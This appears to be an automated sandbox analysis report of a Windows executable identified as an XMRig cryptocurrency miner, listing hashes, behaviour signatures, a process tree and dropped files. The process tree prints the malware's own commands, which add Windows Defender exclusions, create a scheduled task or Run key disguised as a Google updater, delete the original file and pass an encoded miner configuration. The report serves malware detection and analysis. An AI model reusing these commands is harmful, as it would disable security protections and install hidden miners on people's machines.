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Analysis

  • max time kernel
    1800s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 16:18

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 28 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3572
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4576
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2920
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:4620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            PID:3392
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:220
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4188
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4304
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3316
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3760
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3308
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3084

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d3e9c29fe44e90aae6ed30ccf799ca8

            SHA1

            c7974ef72264bbdf13a2793ccf1aed11bc565dce

            SHA256

            2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

            SHA512

            60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            f4f429a15d03c3e80062c9a06b9bdf6d

            SHA1

            321545e68a1e3a688116d3cdf7ec204609dd51f9

            SHA256

            1af8bc4aa2a76dd58e2c7eb0a0dc169a6b94f8c865852502cceb54a84bbaf57b

            SHA512

            6e7fcd3b704dbf8582c289adda39ef0828f4f1e1d0720547dd2f2ef573faf1b678ef80fd1e22b6f7c51135375f98e87238eb4c6a4fb0a41aa817d4898f167eee

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iw0ripth.5dv.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/220-72-0x000002B2CB6C0000-0x000002B2CB6DC000-memory.dmp

            Filesize

            112KB

          • memory/220-71-0x000002B2B0CB0000-0x000002B2B0CBA000-memory.dmp

            Filesize

            40KB

          • memory/220-70-0x000002B2C9110000-0x000002B2C91C5000-memory.dmp

            Filesize

            724KB

          • memory/220-69-0x000002B2B0C90000-0x000002B2B0CAC000-memory.dmp

            Filesize

            112KB

          • memory/3084-81-0x00007FF6495A0000-0x00007FF6497B1000-memory.dmp

            Filesize

            2.1MB

          • memory/3084-50-0x00007FF6495A0000-0x00007FF6497B1000-memory.dmp

            Filesize

            2.1MB

          • memory/3308-109-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-117-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-139-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-137-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-135-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-133-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-131-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-129-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-127-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-125-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-123-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-121-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-119-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-82-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-83-0x000001A60FBD0000-0x000001A60FBF0000-memory.dmp

            Filesize

            128KB

          • memory/3308-115-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-85-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-113-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-87-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-111-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-89-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-91-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-93-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-95-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-97-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-99-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-101-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-103-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-105-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3308-107-0x00007FF690030000-0x00007FF690824000-memory.dmp

            Filesize

            8.0MB

          • memory/3372-31-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3372-32-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3372-35-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3372-30-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3372-29-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3372-18-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3528-16-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3528-12-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3528-11-0x000002039F520000-0x000002039F542000-memory.dmp

            Filesize

            136KB

          • memory/3528-13-0x00007FF865B70000-0x00007FF866631000-memory.dmp

            Filesize

            10.8MB

          • memory/3528-1-0x00007FF865B73000-0x00007FF865B75000-memory.dmp

            Filesize

            8KB

          • memory/3816-0-0x00007FF6634A0000-0x00007FF6636B1000-memory.dmp

            Filesize

            2.1MB

          • memory/3816-37-0x00007FF6634A0000-0x00007FF6636B1000-memory.dmp

            Filesize

            2.1MB

          • memory/3816-33-0x00007FF6634A0000-0x00007FF6636B1000-memory.dmp

            Filesize

            2.1MB

          • memory/4188-88-0x00007FF70A8F0000-0x00007FF70A906000-memory.dmp

            Filesize

            88KB

          • memory/4188-84-0x00007FF70A8F0000-0x00007FF70A906000-memory.dmp

            Filesize

            88KB